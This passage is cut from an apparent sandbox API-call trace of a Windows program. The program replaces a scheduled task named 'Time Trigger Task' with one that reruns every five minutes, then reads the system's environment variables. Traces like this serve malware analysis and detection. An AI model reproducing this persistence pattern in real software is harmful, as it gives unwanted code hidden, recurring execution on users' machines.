[6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18bc14 | out: ppv=0x18bc14*=0x70c08b8) returned 0x0 [0049.142] TaskScheduler:ITaskService:Connect (This=0x70c08b8, serverName=0x18b6a0*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18b6b0*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18b6c0*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18b6d0*(varType=0x0, wReserved1=0x79c, wReserved2=0xbbbc, wReserved3=0x18, varVal1=0x41720b, varVal2=0x4ff0000)) returned 0x0 [0049.143] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3720 [0049.143] TaskScheduler:ITaskService:GetFolder (in: This=0x70c08b8, Path="\\", ppFolder=0x18bc1c | out: ppFolder=0x18bc1c*=0x70c0920) returned 0x0 [0049.144] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3720 | out: hHeap=0x4ff0000) returned 1 [0049.144] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3720 [0049.144] ITaskFolder:DeleteTask (This=0x70c0920, Name="Time Trigger Task", flags=0) returned 0x0 [0049.188] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3720 | out: hHeap=0x4ff0000) returned 1 [0049.188] TaskScheduler:ITaskService:NewTask (in: This=0x70c08b8, flags=0x0, ppDefinition=0x18bc20 | out: ppDefinition=0x18bc20*=0x70c0950) returned 0x0 [0049.188] TaskScheduler:IUnknown:Release (This=0x70c08b8) returned 0x1 [0049.188] ITaskDefinition:get_RegistrationInfo (in: This=0x70c0950, ppRegistrationInfo=0x18bbf4 | out: ppRegistrationInfo=0x18bbf4*=0x70c0a10) returned 0x0 [0049.188] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3750 [0049.188] IRegistrationInfo:put_Author (This=0x70c0a10, Author="Author Name") returned 0x0 [0049.188] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3750 | out: hHeap=0x4ff0000) returned 1 [0049.188] IUnknown:Release (This=0x70c0a10) returned 0x1 [0049.188] ITaskDefinition:get_Principal (in: This=0x70c0950, ppPrincipal=0x18bbfc | out: ppPrincipal=0x18bbfc*=0x70c0ba0) returned 0x0 [0049.188] IPrincipal:put_LogonType (This=0x70c0ba0, LogonType=3) returned 0x0 [0049.189] IUnknown:Release (This=0x70c0ba0) returned 0x1 [0049.189] ITaskDefinition:get_Settings (in: This=0x70c0950, ppSettings=0x18bc04 | out: ppSettings=0x18bc04*=0x70c0ac0) returned 0x0 [0049.189] ITaskSettings:put_StartWhenAvailable (This=0x70c0ac0, StartWhenAvailable=1) returned 0x0 [0049.189] IUnknown:Release (This=0x70c0ac0) returned 0x1 [0049.189] ITaskSettings:get_IdleSettings (in: This=0x70c0ac0, ppIdleSettings=0x18bbe8 | out: ppIdleSettings=0x18bbe8*=0x70c0b30) returned 0x0 [0049.189] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3750 [0049.189] IIdleSettings:put_WaitTimeout (This=0x70c0b30, WaitTimeout="PT5M") returned 0x0 [0049.189] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3750 | out: hHeap=0x4ff0000) returned 1 [0049.189] IUnknown:Release (This=0x70c0b30) returned 0x1 [0049.189] ITaskDefinition:get_Triggers (in: This=0x70c0950, ppTriggers=0x18bbe4 | out: ppTriggers=0x18bbe4*=0x70c0a80) returned 0x0 [0049.189] ITriggerCollection:Create (in: This=0x70c0a80, Type=1, ppTrigger=0x18bbf0 | out: ppTrigger=0x18bbf0*=0x70c0c00) returned 0x0 [0049.189] IUnknown:Release (This=0x70c0a80) returned 0x1 [0049.189] IUnknown:QueryInterface (in: This=0x70c0c00, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18bc0c | out: ppvObject=0x18bc0c*=0x70c0c00) returned 0x0 [0049.189] IUnknown:Release (This=0x70c0c00) returned 0x2 [0049.189] ITrigger:get_Repetition (in: This=0x70c0c00, ppRepeat=0x18bbf8 | out: ppRepeat=0x18bbf8*=0x70c0c50) returned 0x0 [0049.189] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3750 [0049.190] IRepetitionPattern:put_Interval (This=0x70c0c50, Interval="PT5M") returned 0x0 [0049.190] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3750 | out: hHeap=0x4ff0000) returned 1 [0049.190] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3750 [0049.190] IRepetitionPattern:put_Duration (This=0x70c0c50, Duration="") returned 0x0 [0049.190] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3750 | out: hHeap=0x4ff0000) returned 1 [0049.190] ITrigger:put_Repetition (This=0x70c0c00, Repetition=0x70c0c50) returned 0x0 [0049.190] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3750 [0049.190] ITrigger:put_Id (This=0x70c0c00, Id="Trigger1") returned 0x0 [0049.190] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3750 | out: hHeap=0x4ff0000) returned 1 [0049.190] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c3750 [0049.190] ITrigger:put_EndBoundary (This=0x70c0c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0049.190] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3750 | out: hHeap=0x4ff0000) returned 1 [0049.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18b6cc | out: lpSystemTimeAsFileTime=0x18b6cc*(dwLowDateTime=0xb0407ff0, dwHighDateTime=0x1d55a45)) [0049.190] GetLastError () returned 0x0 [0049.190] SetLastError (dwErrCode=0x0) [0049.190] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x24) returned 0x7a00148 [0049.190] GetLastError () returned 0x0 [0049.190] SetLastError (dwErrCode=0x0) [0049.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0049.190] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1f) returned 0x50c9668 [0049.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x50c9668, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0049.190] GetLastError () returned 0x0 [0049.190] SetLastError (dwErrCode=0x0) [0049.191] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x4) returned 0x795d920 [0049.191] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x795d920) returned 0x4 [0049.191] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x795d920, Size=0x8) returned 0x795d930 [0049.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0049.191] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x36) returned 0x50a70b0 [0049.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x50a70b0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x795d930) returned 0x8 [0049.191] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x795d930, Size=0xc) returned 0x79c3750 [0049.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0049.191] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x37) returned 0x79e1758 [0049.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x79e1758, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] GetLastError () returned 0x0 [0049.191] SetLastError (dwErrCode=0x0) [0049.191] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79c3750) returned 0xc [0049.191] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79c3750, Size=0x10) returned 0x79c3780 [0049.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0049.191] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3c) returned 0x79bb238 [0049.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x79bb238, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0049.191] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79c3780) returned 0x10 [0049.192] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79c3780, Size=0x14) returned 0x5091f58 [0049.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0049.192] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x31) returned 0x79e16d8 [0049.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x79e16d8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] SetLastError (dwErrCode=0x0) [0049.192] GetLastError () returned 0x0 [0049.192] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x5091f58) returned 0x14 [0049.192] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x5091f58, Size=0x18) returned 0x79b3b28 [0049.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.192] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x17) returned 0x5091f58 [0049.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x5091f58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0049.192] GetLastError () returned 0x0 [0049.193] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79b3b28) returned 0x18 [0049.193] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79b3b28, Size=0x1c) returned 0x79bd4b8 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0049.193] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x24) returned 0x7a00178 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x7a00178, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0049.193] GetLastError () returned 0x0 [0049.193] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79bd4b8) returned 0x1c [0049.193] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79bd4b8, Size=0x20) returned 0x79bd4e0 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0049.193] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x14) returned 0x79b3b28 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x79b3b28, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0049.193] GetLastError () returned 0x0 [0049.193] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79bd4e0) returned 0x20 [0049.193] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79bd4e0, Size=0x24) returned 0x7a00328 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.193] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xd) returned 0x79c3780 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x79c3780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0049.193] GetLastError () returned 0x0 [0049.193] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x7a00328) returned 0x24 [0049.193] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x7a00328, Size=0x28) returned 0x7a002f8 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0049.193] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x25) returned 0x7a00328 [0049.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x7a00328, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0049.193] GetLastError () returned 0x0 [0049.193] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x7a002f8) returned 0x28 [0049.194] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x7a002f8, Size=0x2c) returned 0x79a67a0 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0049.194] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x39) returned 0x79bb280 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x79bb280, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0049.194] GetLastError () returned 0x0 [0049.194] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79a67a0) returned 0x2c [0049.194] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79a67a0, Size=0x30) returned 0x79a6a78 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.194] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x18) returned 0x79b3b48 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x79b3b48, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0049.194] GetLastError () returned 0x0 [0049.194] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79a6a78) returned 0x30 [0049.194] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79a6a78, Size=0x34) returned 0x79e1798 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.194] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x17) returned 0x79b3b88 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x79b3b88, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0049.194] GetLastError () returned 0x0 [0049.194] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79e1798) returned 0x34 [0049.194] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79e1798, Size=0x38) returned 0x79e17d8 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.194] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xe) returned 0x79c3750 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x79c3750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0049.194] GetLastError () returned 0x0 [0049.194] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79e17d8) returned 0x38 [0049.194] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79e17d8, Size=0x3c) returned 0x79bb2c8 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0049.194] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x69) returned 0x79adad8 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x79adad8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0049.194] GetLastError () returned 0x0 [0049.194] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79bb2c8) returned 0x3c [0049.194] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79bb2c8, Size=0x40) returned 0x79bb310 [0049.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0049.194] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3e) returned 0x79bb2c8 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x79bb2c8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0049.195] GetLastError () returned 0x0 [0049.195] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79bb310) returned 0x40 [0049.195] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79bb310, Size=0x44) returned 0x79e05e8 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.195] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1b) returned 0x79bd4b8 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x79bd4b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0049.195] GetLastError () returned 0x0 [0049.195] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79e05e8) returned 0x44 [0049.195] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79e05e8, Size=0x48) returned 0x79e0638 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0049.195] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1d) returned 0x79bd4e0 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x79bd4e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0049.195] GetLastError () returned 0x0 [0049.195] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79e0638) returned 0x48 [0049.195] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79e0638, Size=0x4c) returned 0x79bc340 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 